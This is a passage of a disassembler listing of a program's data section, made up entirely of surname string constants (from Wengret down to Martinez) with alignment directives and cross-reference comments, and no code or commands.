; DATA XREF: ___:0042E750o align 10h aWengret db 'Wengret',0 ; DATA XREF: ___:0042E74Co aWelsh db 'Welsh',0 ; DATA XREF: ___:0042E748o align 10h aWelles db 'Welles',0 ; DATA XREF: ___:0042E744o align 4 aVelasquez db 'Velasquez',0 align 4 aWeissman db 'Weissman',0 align 10h aWeissbourd db 'Weissbourd',0 align 4 aWeinhaus db 'Weinhaus',0 align 4 aWeingarten db 'Weingarten',0 align 4 aWeighart db 'Weighart',0 align 10h aWaugh db 'Waugh',0 align 4 aVasquez db 'Vasquez',0 aWasowska db 'Wasowska',0 ; DATA XREF: ___:0042E720o align 4 aWarshafsky db 'Warshafsky',0 ; DATA XREF: ___:0042E71Co align 4 aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: ___:0042E718o align 4 aVandenberg db 'Vandenberg',0 ; DATA XREF: ___:0042E714o align 4 aVanzwet db 'VanZwet',0 ; DATA XREF: ___:0042E710o aVanallen db 'vanAllen',0 align 4 aWalter db 'Walter',0 align 10h aWallenberg db 'Wallenberg',0 ; DATA XREF: ___:0042E704o align 4 aWales db 'Wales',0 ; DATA XREF: ___:0042E700o align 4 aValencia db 'Valencia',0 ; DATA XREF: ___:0042E6FCo align 10h aValberg db 'Valberg',0 aWaite db 'Waite',0 ; DATA XREF: ___:0042E6F4o align 10h aVacca db 'Vacca',0 align 4 aUzuner db 'Uzuner',0 align 10h aUsdan db 'Usdan',0 align 4 aUrdangBrown db 'Urdang-Brown',0 align 4 aUrban db 'Urban',0 align 10h aUpsdell db 'Upsdell',0 aUntermeyer db 'Untermeyer',0 align 4 aUllman db 'Ullman',0 align 4 aTzamarias db 'Tzamarias',0 align 4 aTwells db 'Twells',0 align 10h aTuttle db 'Tuttle',0 align 4 aTurek db 'Turek',0 align 10h aTurano db 'Turano',0 align 4 aTukan db 'Tukan',0 align 10h aTudge db 'Tudge',0 ; DATA XREF: ___:0042E6B8o align 4 aTuck db 'Tuck',0 align 10h aTsukurov db 'Tsukurov',0 align 4 aTsomides db 'Tsomides',0 align 4 aTsiatis db 'Tsiatis',0 aTruss db 'Truss',0 align 4 aTroy db 'Troy',0 align 10h aTroiani db 'Troiani',0 aTringali db 'Tringali',0 align 4 aTrewin db 'Trewin',0 ; DATA XREF: ___:0042E694o align 4 aTrenga db 'Trenga',0 ; DATA XREF: ___:0042E690o align 4 aTraebert db 'Traebert',0 ; DATA XREF: ___:0042E68Co align 10h aToye db 'Toye',0 ; DATA XREF: ___:0042E688o align 4 aTowler db 'Towler',0 ; DATA XREF: ___:0042E684o align 10h aTorske db 'Torske',0 ; DATA XREF: ___:0042E680o align 4 aTorresi db 'Torresi',0 ; DATA XREF: ___:0042E67Co aTopulos db 'Topulos',0 ; DATA XREF: ___:0042E678o aToomer db 'Toomer',0 ; DATA XREF: ___:0042E674o align 10h aTomford db 'Tomford',0 ; DATA XREF: ___:0042E670o aTolman db 'Tolman',0 ; DATA XREF: ___:0042E66Co align 10h aTolls db 'Tolls',0 ; DATA XREF: ___:0042E668o align 4 aTollestrup db 'Tollestrup',0 ; DATA XREF: ___:0042E664o align 4 aTofallis db 'Tofallis',0 ; DATA XREF: ___:0042E660o align 10h aTimmons db 'Timmons',0 ; DATA XREF: ___:0042E65Co aTill db 'Till',0 ; DATA XREF: ___:0042E658o align 10h aTierney db 'Tierney',0 ; DATA XREF: ___:0042E654o aThroop db 'Throop',0 ; DATA XREF: ___:0042E650o align 10h aThomsen db 'Thomsen',0 ; DATA XREF: ___:0042E64Co aThisted db 'Thisted',0 ; DATA XREF: ___:0042E648o aThibault db 'Thibault',0 ; DATA XREF: ___:0042E644o align 4 aTheodos db 'Theodos',0 ; DATA XREF: ___:0042E640o aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: ___:0042E63Co align 4 aThan db 'Than',0 ; DATA XREF: ___:0042E638o align 4 aTerracini db 'Terracini',0 ; DATA XREF: ___:0042E634o align 4 aTenney db 'Tenney',0 ; DATA XREF: ___:0042E630o align 10h aTemmer db 'Temmer',0 ; DATA XREF: ___:0042E62Co align 4 aTemes db 'Temes',0 ; DATA XREF: ___:0042E628o align 10h aTeague db 'Teague',0 ; DATA XREF: ___:0042E624o align 4 aTcherepnin db 'Tcherepnin',0 ; DATA XREF: ___:0042E620o align 4 aTawn db 'Tawn',0 ; DATA XREF: ___:0042E61Co align 4 aTaveras db 'Taveras',0 ; DATA XREF: ___:0042E618o aTatar db 'Tatar',0 ; DATA XREF: ___:0042E614o align 4 aTanowitz db 'Tanowitz',0 ; DATA XREF: ___:0042E610o align 4 aTandler db 'Tandler',0 ; DATA XREF: ___:0042E60Co aTambiah db 'Tambiah',0 ; DATA XREF: ___:0042E608o aTalaugon db 'Talaugon',0 ; DATA XREF: ___:0042E604o align 4 aTai db 'Tai',0 ; DATA XREF: ___:0042E600o aTagiuri db 'Tagiuri',0 ; DATA XREF: ___:0042E5FCo aSwindle db 'Swindle',0 ; DATA XREF: ___:0042E5F8o aSweetser db 'Sweetser',0 ; DATA XREF: ___:0042E5F4o align 4 aSweeting db 'Sweeting',0 ; DATA XREF: ___:0042E5F0o align 10h aSurdam db 'Surdam',0 ; DATA XREF: ___:0042E5ECo align 4 aSuo db 'Suo',0 ; DATA XREF: ___:0042E5E8o aSumner db 'Sumner',0 ; DATA XREF: ___:0042E5E4o align 4 aSullivan db 'Sullivan',0 ; DATA XREF: ___:0042E5E0o align 10h aStringer db 'Stringer',0 ; DATA XREF: ___:0042E5DCo align 4 aStreiff db 'Streiff',0 ; DATA XREF: ___:0042E5D8o aStrauch db 'Strauch',0 ; DATA XREF: ___:0042E5D4o aStrange db 'Strange',0 ; DATA XREF: ___:0042E5D0o aStott db 'Stott',0 ; DATA XREF: ___:0042E5CCo align 4 aStorer db 'Storer',0 ; DATA XREF: ___:0042E5C8o align 4 aStonich db 'Stonich',0 ; DATA XREF: ___:0042E5C4o aStolzenberg db 'Stolzenberg',0 ; DATA XREF: ___:0042E5C0o aStockwell db 'Stockwell',0 ; DATA XREF: ___:0042E5BCo align 4 aStockton db 'Stockton',0 ; DATA XREF: ___:0042E5B8o align 10h aStock db 'Stock',0 ; DATA XREF: ___:0042E5B4o align 4 aStillwell db 'Stillwell',0 ; DATA XREF: ___:0042E5B0o align 4 aStiepock db 'Stiepock',0 ; DATA XREF: ___:0042E5ACo align 10h aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: ___:0042E5A8o align 10h aStepniewska db 'Stepniewska',0 ; DATA XREF: ___:0042E5A4o aStephanian db 'Stephanian',0 ; DATA XREF: ___:0042E5A0o align 4 aSteiner db 'Steiner',0 ; DATA XREF: ___:0042E59Co aStefani db 'Stefani',0 ; DATA XREF: ___:0042E598o aStatlender db 'Statlender',0 ; DATA XREF: ___:0042E594o align 4 aStates db 'States',0 ; DATA XREF: ___:0042E590o align 4 aStassinopolus db 'Stassinopolus',0 ; DATA XREF: ___:0042E58Co align 4 aStang db 'Stang',0 ; DATA XREF: ___:0042E588o align 4 aStam db 'Stam',0 ; DATA XREF: ___:0042E584o align 4 aStalvey db 'Stalvey',0 ; DATA XREF: ___:0042E580o aStmartin db 'StMartin',0 ; DATA XREF: ___:0042E57Co align 10h aSpinrad db 'Spinrad',0 ; DATA XREF: ___:0042E578o aSpiliotis db 'Spiliotis',0 ; DATA XREF: ___:0042E574o align 4 aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: ___:0042E570o align 4 aSpicer db 'Spicer',0 ; DATA XREF: ___:0042E56Co align 4 aSperber db 'Sperber',0 ; DATA XREF: ___:0042E568o aSpence db 'Spence',0 ; DATA XREF: ___:0042E564o align 4 aSpeizer db 'Speizer',0 ; DATA XREF: ___:0042E560o aSpaulding db 'Spaulding',0 ; DATA XREF: ___:0042E55Co align 10h aSparrow db 'Sparrow',0 ; DATA XREF: ___:0042E558o aSpanier db 'Spanier',0 ; DATA XREF: ___:0042E554o aSoultanian db 'Soultanian',0 ; DATA XREF: ___:0042E550o align 4 aSoule db 'Soule',0 ; DATA XREF: ___:0042E54Co align 4 aSoukup db 'Soukup',0 ; DATA XREF: ___:0042E548o align 4 aSottak db 'Sottak',0 ; DATA XREF: ___:0042E544o align 4 aSorg db 'Sorg',0 ; DATA XREF: ___:0042E540o align 4 aSorabella db 'Sorabella',0 ; DATA XREF: ___:0042E53Co align 4 aSommariva db 'Sommariva',0 ; DATA XREF: ___:0042E538o align 4 aSomers db 'Somers',0 ; DATA XREF: ___:0042E534o align 4 aSolon db 'Solon',0 ; DATA XREF: ___:0042E530o align 4 aSocolow db 'Socolow',0 ; DATA XREF: ___:0042E52Co aSnodgrass db 'Snodgrass',0 ; DATA XREF: ___:0042E528o align 4 aSniffen db 'Sniffen',0 ; DATA XREF: ___:0042E524o aSmilow db 'Smilow',0 ; DATA XREF: ___:0042E520o align 4 aSlowe db 'Slowe',0 ; DATA XREF: ___:0042E51Co align 10h aSloan db 'Sloan',0 ; DATA XREF: ___:0042E518o align 4 aSkoda db 'Skoda',0 ; DATA XREF: ___:0042E514o align 10h aSkerry db 'Skerry',0 ; DATA XREF: ___:0042E510o align 4 aSkane db 'Skane',0 ; DATA XREF: ___:0042E50Co align 10h aSites db 'Sites',0 ; DATA XREF: ___:0042E508o align 4 aSirilli db 'Sirilli',0 ; DATA XREF: ___:0042E504o aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: ___:0042E500o align 4 aSilvetti db 'Silvetti',0 ; DATA XREF: ___:0042E4FCo align 4 aSilverman db 'Silverman',0 ; DATA XREF: ___:0042E4F8o align 4 aSigna db 'Signa',0 ; DATA XREF: ___:0042E4F4o align 4 aSigini db 'Sigini',0 ; DATA XREF: ___:0042E4F0o align 4 aSigalot db 'Sigalot',0 ; DATA XREF: ___:0042E4ECo aSiesto db 'Siesto',0 ; DATA XREF: ___:0042E4E8o align 4 aShimon db 'Shimon',0 ; DATA XREF: ___:0042E4E4o align 4 aShibata db 'Shibata',0 ; DATA XREF: ___:0042E4E0o aShia db 'Shia',0 ; DATA XREF: ___:0042E4DCo align 4 aShesko db 'Shesko',0 ; DATA XREF: ___:0042E4D8o align 4 aShepstone db 'Shepstone',0 ; DATA XREF: ___:0042E4D4o align 10h aSheppard db 'Sheppard',0 ; DATA XREF: ___:0042E4D0o align 4 aShepherd db 'Shepherd',0 ; DATA XREF: ___:0042E4CCo align 4 aSheats db 'Sheats',0 ; DATA XREF: ___:0042E4C8o align 10h aShea db 'Shea',0 ; DATA XREF: ___:0042E4C4o align 4 aShavelson db 'Shavelson',0 ; DATA XREF: ___:0042E4C0o align 4 aShatrov db 'Shatrov',0 ; DATA XREF: ___:0042E4BCo aShar db 'Shar',0 ; DATA XREF: ___:0042E4B8o align 4 aShanley db 'Shanley',0 ; DATA XREF: ___:0042E4B4o aShankland db 'Shankland',0 ; DATA XREF: ___:0042E4B0o align 4 aShakis db 'Shakis',0 ; DATA XREF: ___:0042E4ACo align 10h aShaikh db 'Shaikh',0 ; DATA XREF: ___:0042E4A8o align 4 aSeyfert db 'Seyfert',0 ; DATA XREF: ___:0042E4A4o aSexton db 'Sexton',0 ; DATA XREF: ___:0042E4A0o align 4 aSeterdahl db 'Seterdahl',0 ; DATA XREF: ___:0042E49Co align 4 aSennett db 'Sennett',0 ; DATA XREF: ___:0042E498o aSen db 'Sen',0 ; DATA XREF: ___:0042E494o aSelvage db 'Selvage',0 ; DATA XREF: ___:0042E490o aSekler db 'Sekler',0 ; DATA XREF: ___:0042E48Co align 10h aSegal db 'Segal',0 ; DATA XREF: ___:0042E488o align 4 aSeeber db 'Seeber',0 ; DATA XREF: ___:0042E484o align 10h aSeaton db 'Seaton',0 ; DATA XREF: ___:0042E480o align 4 aScudder db 'Scudder',0 ; DATA XREF: ___:0042E47Co aScovel db 'Scovel',0 ; DATA XREF: ___:0042E478o align 4 aSchwickrath db 'Schwickrath',0 ; DATA XREF: ___:0042E474o aSchwan db 'Schwan',0 ; DATA XREF: ___:0042E470o align 4 aSchuyler db 'Schuyler',0 ; DATA XREF: ___:0042E46Co align 4 aSchutte db 'Schutte',0 ; DATA XREF: ___:0042E468o aSchuman db 'Schuman',0 ; DATA XREF: ___:0042E464o aSchossberger db 'Schossberger',0 ; DATA XREF: ___:0042E460o align 4 aSchmitt db 'Schmitt',0 ; DATA XREF: ___:0042E45Co aSchilling db 'Schilling',0 ; DATA XREF: ___:0042E458o align 4 aSchifini db 'Schifini',0 ; DATA XREF: ___:0042E454o align 4 aSchiano db 'Schiano',0 ; DATA XREF: ___:0042E450o aScheiner db 'Scheiner',0 ; DATA XREF: ___:0042E44Co align 4 aScharlemann db 'Scharlemann',0 ; DATA XREF: ___:0042E448o aScharf db 'Scharf',0 ; DATA XREF: ___:0042E444o align 10h aScepan db 'Scepan',0 ; DATA XREF: ___:0042E440o align 4 aScarponi db 'Scarponi',0 ; DATA XREF: ___:0042E43Co align 4 aSayied db 'Sayied',0 ; DATA XREF: ___:0042E438o align 4 aSawtell db 'Sawtell',0 ; DATA XREF: ___:0042E434o aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: ___:0042E430o align 4 aSatta db 'Satta',0 ; DATA XREF: ___:0042E42Co align 4 aSatin db 'Satin',0 ; DATA XREF: ___:0042E428o align 4 aSase db 'Sase',0 ; DATA XREF: ___:0042E424o align 4 aSartore db 'Sartore',0 ; DATA XREF: ___:0042E420o aSarin db 'Sarin',0 ; DATA XREF: ___:0042E41Co align 4 aSapers db 'Sapers',0 ; DATA XREF: ___:0042E418o align 4 aSanna db 'Sanna',0 ; DATA XREF: ___:0042E414o align 4 aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: ___:0042E410o aSamson db 'Samson',0 ; DATA XREF: ___:0042E40Co align 4 aSali db 'Sali',0 ; DATA XREF: ___:0042E408o align 4 aSahu db 'Sahu',0 ; DATA XREF: ___:0042E404o align 4 aSafire db 'Safire',0 ; DATA XREF: ___:0042E400o align 4 aSadler db 'Sadler',0 ; DATA XREF: ___:0042E3FCo align 4 aSabatello db 'Sabatello',0 ; DATA XREF: ___:0042E3F8o align 10h aRyu db 'Ryu',0 ; DATA XREF: ___:0042E3F4o aRush db 'Rush',0 ; DATA XREF: ___:0042E3F0o align 4 aRuescher db 'Ruescher',0 ; DATA XREF: ___:0042E3ECo align 4 aRuderman db 'Ruderman',0 ; DATA XREF: ___:0042E3E8o align 4 aRuan db 'Ruan',0 ; DATA XREF: ___:0042E3E4o align 4 aRu db 'Ru',0 ; DATA XREF: ___:0042E3E0o align 10h aRoyal db 'Royal',0 ; DATA XREF: ___:0042E3DCo align 4 aRow db 'Row',0 ; DATA XREF: ___:0042E3D8o aRonen db 'Ronen',0 ; DATA XREF: ___:0042E3D4o align 4 aRogers db 'Rogers',0 ; DATA XREF: ___:0042E3D0o align 4 aRoesler db 'Roesler',0 ; DATA XREF: ___:0042E3CCo aRocha db 'Rocha',0 ; DATA XREF: ___:0042E3C8o align 4 aRobinson db 'Robinson',0 ; DATA XREF: ___:0042E3C4o align 4 aRivera db 'Rivera',0 ; DATA XREF: ___:0042E3C0o align 10h aRish db 'Rish',0 ; DATA XREF: ___:0042E3BCo align 4 aRineer db 'Rineer',0 ; DATA XREF: ___:0042E3B8o align 10h aRindos db 'Rindos',0 ; DATA XREF: ___:0042E3B4o align 4 aRielly db 'Rielly',0 ; DATA XREF: ___:0042E3B0o align 10h aRichmond db 'Richmond',0 ; DATA XREF: ___:0042E3ACo align 4 aRhea db 'Rhea',0 ; DATA XREF: ___:0042E3A8o align 4 aResnik db 'Resnik',0 ; DATA XREF: ___:0042E3A4o align 4 aRepetto db 'Repetto',0 ; DATA XREF: ___:0042E3A0o aRenick db 'Renick',0 ; DATA XREF: ___:0042E39Co align 4 aRemak db 'Remak',0 ; DATA XREF: ___:0042E398o align 4 aReinold db 'Reinold',0 ; DATA XREF: ___:0042E394o aCunningham db 'Cunningham',0 ; DATA XREF: ___:0042E390o align 4 aReedquist db 'Reedquist',0 ; DATA XREF: ___:0042E38Co align 4 aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: ___:0042E388o align 4 aRayport db 'Rayport',0 ; DATA XREF: ___:0042E384o aRapple db 'Rapple',0 ; DATA XREF: ___:0042E380o align 4 aRankin db 'Rankin',0 ; DATA XREF: ___:0042E37Co align 4 aRangan db 'Rangan',0 ; DATA XREF: ___:0042E378o align 4 aRaney db 'Raney',0 ; DATA XREF: ___:0042E374o align 4 aRajagopalan db 'Rajagopalan',0 ; DATA XREF: ___:0042E370o aRadeke db 'Radeke',0 ; DATA XREF: ___:0042E36Co align 10h aRabkin db 'Rabkin',0 ; DATA XREF: ___:0042E368o align 4 aRabe db 'Rabe',0 ; DATA XREF: ___:0042E364o align 10h aQuetin db 'Quetin',0 ; DATA XREF: ___:0042E360o align 4 aQuaday db 'Quaday',0 ; DATA XREF: ___:0042E35Co align 10h aPynchon db 'Pynchon',0 ; DATA XREF: ___:0042E358o aPugh db 'Pugh',0 ; DATA XREF: ___:0042E354o align 10h aPuccia db 'Puccia',0 ; DATA XREF: ___:0042E350o align 4 aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: ___:0042E34Co align 4 aProietti db 'Proietti',0 ; DATA XREF: ___:0042E348o align 4 aPritz db 'Pritz',0 ; DATA XREF: ___:0042E344o align 4 aPritchard db 'Pritchard',0 ; DATA XREF: ___:0042E340o align 4 aPrevost db 'Prevost',0 ; DATA XREF: ___:0042E33Co aPreucel db 'Preucel',0 ; DATA XREF: ___:0042E338o aPresper db 'Presper',0 ; DATA XREF: ___:0042E334o aPowers db 'Powers',0 ; DATA XREF: ___:0042E330o align 4 aPoolman db 'Poolman',0 ; DATA XREF: ___:0042E32Co aPoma db 'Poma',0 ; DATA XREF: ___:0042E328o align 4 aPolitis db 'Politis',0 ; DATA XREF: ___:0042E324o aPolanyi db 'Polanyi',0 ; DATA XREF: ___:0042E320o aPolak db 'Polak',0 ; DATA XREF: ___:0042E31Co align 10h aPoirier db 'Poirier',0 ; DATA XREF: ___:0042E318o aPointer db 'Pointer',0 ; DATA XREF: ___:0042E314o aPoincaire db 'Poincaire',0 ; DATA XREF: ___:0042E310o align 4 aPocobene db 'Pocobene',0 ; DATA XREF: ___:0042E30Co align 4 aPo db 'Po',0 ; DATA XREF: ___:0042E308o align 4 aPlous db 'Plous',0 ; DATA XREF: ___:0042E304o align 4 aPlasket db 'Plasket',0 ; DATA XREF: ___:0042E300o aPlant db 'Plant',0 ; DATA XREF: ___:0042E2FCo align 4 aPlancon db 'Plancon',0 ; DATA XREF: ___:0042E2F8o aPinot db 'Pinot',0 ; DATA XREF: ___:0042E2F4o align 4 aPilbeam db 'Pilbeam',0 ; DATA XREF: ___:0042E2F0o aPfister db 'Pfister',0 ; DATA XREF: ___:0042E2ECo aPettit db 'Pettit',0 ; DATA XREF: ___:0042E2E8o align 4 aPettibone db 'Pettibone',0 ; DATA XREF: ___:0042E2E4o align 4 aPetruzello db 'Petruzello',0 ; DATA XREF: ___:0042E2E0o align 4 aPeters db 'Peters',0 ; DATA XREF: ___:0042E2DCo align 4 aPerrimon db 'Perrimon',0 ; DATA XREF: ___:0042E2D8o align 4 aPerone db 'Perone',0 ; DATA XREF: ___:0042E2D4o align 10h aPerna db 'Perna',0 ; DATA XREF: ___:0042E2D0o align 4 aPerlman db 'Perlman',0 ; DATA XREF: ___:0042E2CCo aPerlak db 'Perlak',0 ; DATA XREF: ___:0042E2C8o align 4 aPerko db 'Perko',0 ; DATA XREF: ___:0042E2C4o align 10h aPereira db 'Pereira',0 ; DATA XREF: ___:0042E2C0o aPenny db 'Penny',0 ; DATA XREF: ___:0042E2BCo align 10h aPeishel db 'Peishel',0 ; DATA XREF: ___:0042E2B8o aPederson db 'Pederson',0 ; DATA XREF: ___:0042E2B4o align 4 aPearlberg db 'Pearlberg',0 ; DATA XREF: ___:0042E2B0o align 10h aPeabody db 'Peabody',0 ; DATA XREF: ___:0042E2ACo aPaynter db 'Paynter',0 ; DATA XREF: ___:0042E2A8o aPawloski db 'Pawloski',0 ; DATA XREF: ___:0042E2A4o align 4 aPavlon db 'Pavlon',0 ; DATA XREF: ___:0042E2A0o align 4 aPavetti db 'Pavetti',0 ; DATA XREF: ___:0042E29Co aPattullo db 'Pattullo',0 ; DATA XREF: ___:0042E298o align 4 aPatrick db 'Patrick',0 ; DATA XREF: ___:0042E294o aPatefield db 'Patefield',0 ; DATA XREF: ___:0042E290o align 4 aPascucci db 'Pascucci',0 ; DATA XREF: ___:0042E28Co align 4 aPartridge db 'Partridge',0 ; DATA XREF: ___:0042E288o align 4 aParris db 'Parris',0 ; DATA XREF: ___:0042E284o align 4 aParmeggiani db 'Parmeggiani',0 ; DATA XREF: ___:0042E280o aPaoletti db 'Paoletti',0 ; DATA XREF: ___:0042E27Co align 4 aPantilla db 'Pantilla',0 ; DATA XREF: ___:0042E278o align 10h aPanizzon db 'Panizzon',0 ; DATA XREF: ___:0042E274o align 4 aPanadero db 'Panadero',0 ; DATA XREF: ___:0042E270o align 4 aPalmitesta db 'Palmitesta',0 ; DATA XREF: ___:0042E26Co align 4 aPallara db 'Pallara',0 ; DATA XREF: ___:0042E268o aPalepu db 'Palepu',0 ; DATA XREF: ___:0042E264o align 4 aPalayoor db 'Palayoor',0 ; DATA XREF: ___:0042E260o align 10h aPaine db 'Paine',0 ; DATA XREF: ___:0042E25Co align 4 aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: ___:0042E258o align 4 aOvid db 'Ovid',0 ; DATA XREF: ___:0042E254o align 10h aOuchida db 'Ouchida',0 ; DATA XREF: ___:0042E250o aOtten db 'Otten',0 ; DATA XREF: ___:0042E24Co align 10h aOttaviani db 'Ottaviani',0 ; DATA XREF: ___:0042E248o align 4 aOstrowski db 'Ostrowski',0 ; DATA XREF: ___:0042E244o align 4 aOspina db 'Ospina',0 ; DATA XREF: ___:0042E240o align 10h aOrsi db 'Orsi',0 ; DATA XREF: ___:0042E23Co align 4 aOrfield db 'Orfield',0 ; DATA XREF: ___:0042E238o aOray db 'Oray',0 ; DATA XREF: ___:0042E234o align 4 aOpel db 'Opel',0 ; DATA XREF: ___:0042E230o align 10h aOMeara db 'O',27h,'meara',0 ; DATA XREF: ___:0042E22Co aOman db 'Oman',0 ; DATA XREF: ___:0042E228o align 10h aOMalley db 'O',27h,'malley',0 ; DATA XREF: ___:0042E224o align 4 aOlszewski db 'Olszewski',0 ; DATA XREF: ___:0042E220o align 4 aOlson db 'Olson',0 ; DATA XREF: ___:0042E21Co align 10h aOlsen db 'Olsen',0 ; DATA XREF: ___:0042E218o align 4 aOldford db 'Oldford',0 ; DATA XREF: ___:0042E214o aOHagan db 'O',27h,'hagan',0 ; DATA XREF: ___:0042E210o aOh db 'Oh',0 ; DATA XREF: ___:0042E20Co align 4 aOgata db 'Ogata',0 ; DATA XREF: ___:0042E208o align 4 aOcougne db 'Ocougne',0 ; DATA XREF: ___:0042E204o aNuzum db 'Nuzum',0 ; DATA XREF: ___:0042E200o align 4 aNotman db 'Notman',0 ; DATA XREF: ___:0042E1FCo align 4 aNitabach db 'Nitabach',0 ; DATA XREF: ___:0042E1F8o align 4 aNisenson db 'Nisenson',0 ; DATA XREF: ___:0042E1F4o align 4 aNickoloff db 'Nickoloff',0 ; DATA XREF: ___:0042E1F0o align 10h aNickerson db 'Nickerson',0 ; DATA XREF: ___:0042E1ECo align 4 aNi_0 db 'Ni',0 ; DATA XREF: ___:0042E1E8o align 10h aNg db 'Ng',0 ; DATA XREF: ___:0042E1E4o align 4 aNewlin db 'Newlin',0 ; DATA XREF: ___:0042E1E0o align 4 aNewfeld db 'Newfeld',0 ; DATA XREF: ___:0042E1DCo aNeuman db 'Neuman',0 ; DATA XREF: ___:0042E1D8o align 4 aNesci db 'Nesci',0 ; DATA XREF: ___:0042E1D4o align 4 aNenna db 'Nenna',0 ; DATA XREF: ___:0042E1D0o align 4 aNelson db 'Nelson',0 ; DATA XREF: ___:0042E1CCo align 4 aNayduch db 'Nayduch',0 ; DATA XREF: ___:0042E1C8o aNaviaux db 'Naviaux',0 ; DATA XREF: ___:0042E1C4o aNardone db 'Nardone',0 ; DATA XREF: ___:0042E1C0o aNardi db 'Nardi',0 ; DATA XREF: ___:0042E1BCo align 4 aNapolitano db 'Napolitano',0 ; DATA XREF: ___:0042E1B8o align 10h aNaddeo db 'Naddeo',0 ; DATA XREF: ___:0042E1B4o align 4 aMussachio db 'Mussachio',0 ; DATA XREF: ___:0042E1B0o align 4 aMumford db 'Mumford',0 ; DATA XREF: ___:0042E1ACo aMulroy db 'Mulroy',0 ; DATA XREF: ___:0042E1A8o align 4 aMulkern db 'Mulkern',0 ; DATA XREF: ___:0042E1A4o aMugnai db 'Mugnai',0 ; DATA XREF: ___:0042E1A0o align 4 aMuello db 'Muello',0 ; DATA XREF: ___:0042E19Co align 4 aMudarri db 'Mudarri',0 ; DATA XREF: ___:0042E198o aMotooka db 'Motooka',0 ; DATA XREF: ___:0042E194o aMostafavi db 'Mostafavi',0 ; DATA XREF: ___:0042E190o align 4 aMosler db 'Mosler',0 ; DATA XREF: ___:0042E18Co align 10h aMosher db 'Mosher',0 ; DATA XREF: ___:0042E188o align 4 aMortimer db 'Mortimer',0 ; DATA XREF: ___:0042E184o align 4 aMorrow db 'Morrow',0 ; DATA XREF: ___:0042E180o align 4 aMorrison db 'Morrison',0 ; DATA XREF: ___:0042E17Co align 4 aMoreton db 'Moreton',0 ; DATA XREF: ___:0042E178o aMorani db 'Morani',0 ; DATA XREF: ___:0042E174o align 4 aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: ___:0042E170o align 4 aMontilio db 'Montilio',0 ; DATA XREF: ___:0042E16Co align 10h aMonque db 'Monque',0 ; DATA XREF: ___:0042E168o align 4 aMoiamedi db 'Moiamedi',0 ; DATA XREF: ___:0042E164o align 4 aMohr db 'Mohr',0 ; DATA XREF: ___:0042E160o align 4 aMoeller db 'Moeller',0 ; DATA XREF: ___:0042E15Co aModestino db 'Modestino',0 ; DATA XREF: ___:0042E158o align 10h aMocroft db 'Mocroft',0 ; DATA XREF: ___:0042E154o aMittal db 'Mittal',0 ; DATA XREF: ___:0042E150o align 10h aMitropoulos db 'Mitropoulos',0 ; DATA XREF: ___:0042E14Co aGonzalez db 'Gonzalez',0 ; DATA XREF: ___:0042E148o align 4 aMinichiello db 'Minichiello',0 ; DATA XREF: ___:0042E144o aMini db 'Mini',0 ; DATA XREF: ___:0042E140o align 4 aMinh db 'Minh',0 ; DATA XREF: ___:0042E13Co align 4 aMills db 'Mills',0 ; DATA XREF: ___:0042E138o align 4 aMieher db 'Mieher',0 ; DATA XREF: ___:0042E134o align 4 aMiddle db 'Middle',0 ; DATA XREF: ___:0042E130o align 4 aMichelman db 'Michelman',0 ; DATA XREF: ___:0042E12Co align 4 aMeurer db 'Meurer',0 ; DATA XREF: ___:0042E128o align 10h aMetropolis db 'Metropolis',0 ; DATA XREF: ___:0042E124o align 4 aMetelka db 'Metelka',0 ; DATA XREF: ___:0042E120o aMerz db 'Merz',0 ; DATA XREF: ___:0042E11Co align 4 aMerseth db 'Merseth',0 ; DATA XREF: ___:0042E118o aMerminod db 'Merminod',0 ; DATA XREF: ___:0042E114o align 10h aMerlani db 'Merlani',0 ; DATA XREF: ___:0042E110o aMerikoski db 'Merikoski',0 ; DATA XREF: ___:0042E10Co align 4 aMenzies db 'Menzies',0 ; DATA XREF: ___:0042E108o aMemisoglu db 'Memisoglu',0 ; DATA XREF: ___:0042E104o align 4 aMeccariello db 'Meccariello',0 ; DATA XREF: ___:0042E100o aMcnulty db 'Mcnulty',0 ; DATA XREF: ___:0042E0FCo aMcnealy db 'Mcnealy',0 ; DATA XREF: ___:0042E0F8o aMclaren db 'Mclaren',0 ; DATA XREF: ___:0042E0F4o aMclane db 'Mclane',0 ; DATA XREF: ___:0042E0F0o align 4 aMckenna db 'Mckenna',0 ; DATA XREF: ___:0042E0ECo aMcintosh db 'Mcintosh',0 ; DATA XREF: ___:0042E0E8o align 4 aMcilroy db 'McIlroy',0 ; DATA XREF: ___:0042E0E4o aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: ___:0042E0E0o align 4 aMcghee db 'Mcghee',0 ; DATA XREF: ___:0042E0DCo align 4 aMcfadden db 'McFadden',0 ; DATA XREF: ___:0042E0D8o align 10h aMcelroy db 'Mcelroy',0 ; DATA XREF: ___:0042E0D4o aMcdowell db 'Mcdowell',0 ; DATA XREF: ___:0042E0D0o align 4 aMcclearn db 'Mcclearn',0 ; DATA XREF: ___:0042E0CCo align 10h aMccall db 'Mccall',0 ; DATA XREF: ___:0042E0C8o align 4 aMccaffery db 'Mccaffery',0 ; DATA XREF: ___:0042E0C4o align 4 aMcbride db 'Mcbride',0 ; DATA XREF: ___:0042E0C0o aMazziotta db 'Mazziotta',0 ; DATA XREF: ___:0042E0BCo align 4 aMazzali db 'Mazzali',0 ; DATA XREF: ___:0042E0B8o aMay db 'May',0 ; DATA XREF: ___:0042E0B4o aMauzy db 'Mauzy',0 ; DATA XREF: ___:0042E0B0o align 4 aMattson db 'Mattson',0 ; DATA XREF: ___:0042E0ACo aMatsukata db 'Matsukata',0 ; DATA XREF: ___:0042E0A8o align 10h aMatarazzo db 'Matarazzo',0 ; DATA XREF: ___:0042E0A4o align 4 aMatalka db 'Matalka',0 ; DATA XREF: ___:0042E0A0o aMass db 'Mass',0 ; DATA XREF: ___:0042E09Co align 4 aMarubini db 'Marubini',0 ; DATA XREF: ___:0042E098o align 4 aMarton db 'Marton',0 ; DATA XREF: ___:0042E094o align 10h aMartochio db 'Martochio',0 ; DATA XREF: ___:0042E090o align 4 aMartinez db 'Martinez',0 ; DATA XREF: 